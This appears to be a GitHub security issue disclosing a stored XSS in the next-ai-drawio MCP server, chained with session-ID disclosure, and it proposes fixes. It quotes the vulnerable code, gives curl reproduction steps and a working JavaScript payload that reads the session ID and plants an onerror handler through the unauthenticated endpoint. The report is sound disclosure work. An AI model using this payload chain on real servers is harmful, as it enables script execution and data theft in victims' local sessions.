[Security] Stored XSS via unauthenticated POST /api/history-svg (chained with session ID disclosure)

Author: HK4zCziCreated Aug 10, 2026Updated Aug 10, 2026

Note: A private security advisory for this issue has already been opened and accepted (GHSA-rv7m-56x2-7q2c). Filing this issue as requested to track a CVE request / follow up, per the maintainer's guidance.

Summary

The POST /api/history-svg endpoint accepts an arbitrary svg string from any caller without authentication and writes it directly to the server-side history store. When a legitimate user later opens the History panel, the server renders all stored svg values via innerHTML without sanitization, executing the attacker's JavaScript in the localhost origin.

Combined with a session-ID disclosure issue (GET / auto-redirects to /?mcp=<mostRecentSessionId> when no session is specified), this becomes a one-click stored XSS chain: the attacker only needs to send a single link, and no further interaction is required after the victim clicks it.

Details

Write side — no authentication (http-server.ts, lines 429–456)

typescript
function handleHistorySvgApi(req, res): void {
    // no token, no session check, no API key — any caller accepted
    readBody(req, res, (body) => {
        const { sessionId, svg } = JSON.parse(body)
        updateLastHistorySvg(sessionId, svg)   // raw svg written to store
        res.writeHead(200, …)
    })
}

Read side — DOM XSS sink (lines 991–996)

typescript
historyGrid.innerHTML = historyData.map((e, i) => `
    <div class="history-item" data-idx="${e.index}">
        <div class="thumb">${e.svg ? `<img src="${e.svg}">` : '#' + e.index}</div>
        …
    </div>
`).join('');

e.svg is inserted verbatim into an <img src="..."> attribute. A value like x" onerror="alert(1) closes the src attribute and injects an event handler.

Session ID disclosure (http-server.ts, lines 267–273)

typescript
if (!sessionId) {
    const recentSessionId = getMostRecentSessionId()
    if (recentSessionId) {
        res.writeHead(302, { Location: `/?mcp=${recentSessionId}` })
        res.end(); return
    }
}

Any script — including injected XSS — can call fetch('/') and read the real session ID from the redirect URL.

Environment used for verification

  • Package: @next-ai-drawio/[email protected], built from source (npm run build)
  • Server started via the real MCP entry point over stdio: node dist/index.js
  • MCP tools called in sequence: start_sessioncreate_new_diagram
  • HTTP server auto-started on http://localhost:6002

Reproduction steps

  1. Confirm the session ID is discoverable without auth:

    bash
    curl -s -o /dev/null -w "%{redirect_url}" http://localhost:6002/

    Output: http://localhost:6002/?mcp=mcp-XXXXXXXX-XXXXXX

  2. Craft a payload that reads the real session ID and posts an XSS payload to /api/history-svg:

    ";(fetch('/').then(r=>{const s=new URL(r.url).searchParams.get('mcp');fetch('/api/history-svg',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({sessionId:s,svg:'x" onerror="alert(document.domain)'})})}));//

    Deliver this via the ?mcp= parameter as a single link to the victim.

  3. Victim opens the link. In the background, the script fetches the real session ID and silently stores the XSS payload via POST /api/history-svg — no authentication required, response is {"success":true}.

  4. Verify storage:

    bash
    curl -s "http://localhost:6002/api/history?sessionId=<SESSION_ID>"

    The stored entry contains "svg":"x\" onerror=\"alert(document.domain)".

Image
  1. Victim opens their real session and clicks "History". renderHistory() sets innerHTML with the stored payload, triggering onerror and executing arbitrary JS in the localhost origin — e.g. exfiltrating cookies/session data to an attacker server.
Image

Impact

  • Any user whose MCP HTTP server processes a diagram session that an attacker has manipulated is affected.
  • Attacker only needs network access to localhost (direct, shared machine, or via an SSRF/reflected-XSS chain).
  • Unlike a one-off reflected XSS, the stored payload executes for every user who later opens the History panel for that session, with no further attacker action needed.
  • Injected JavaScript has full access to all /api/* endpoints in the localhost origin.

Recommended fix

1. Authenticate POST /api/history-svg:

typescript
import { randomBytes } from "node:crypto"
const SERVER_TOKEN = randomBytes(32).toString("hex")

function handleHistorySvgApi(req, res): void {
    if (req.headers["x-mcp-token"] !== SERVER_TOKEN) {
        res.writeHead(401, { "Content-Type": "application/json" })
        res.end(JSON.stringify({ error: "Unauthorized" }))
        return
    }
    // existing logic
}

2. Sanitize svg before storing / rendering:

typescript
function isSafeSvg(svg: string): boolean {
    return /^data:image\/svg\+xml;base64,[A-Za-z0-9+/=]+$/.test(svg)
        || /^\/[^<>"']+$/.test(svg)
}

And avoid innerHTML on the client — build the <img> element via document.createElement instead, or sanitize with [DOMPurify](https://github.com/cure53/DOMPurify).

Affected versions

  • next-ai-drawio/mcp-server <= 0.2.1 (bundled in next-ai-draw-io <= 0.4.16)

Weaknesses

  • CWE-79 — Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
  • CWE-862 — Missing Authorization

Source: DayuanJiang/next-ai-draw-io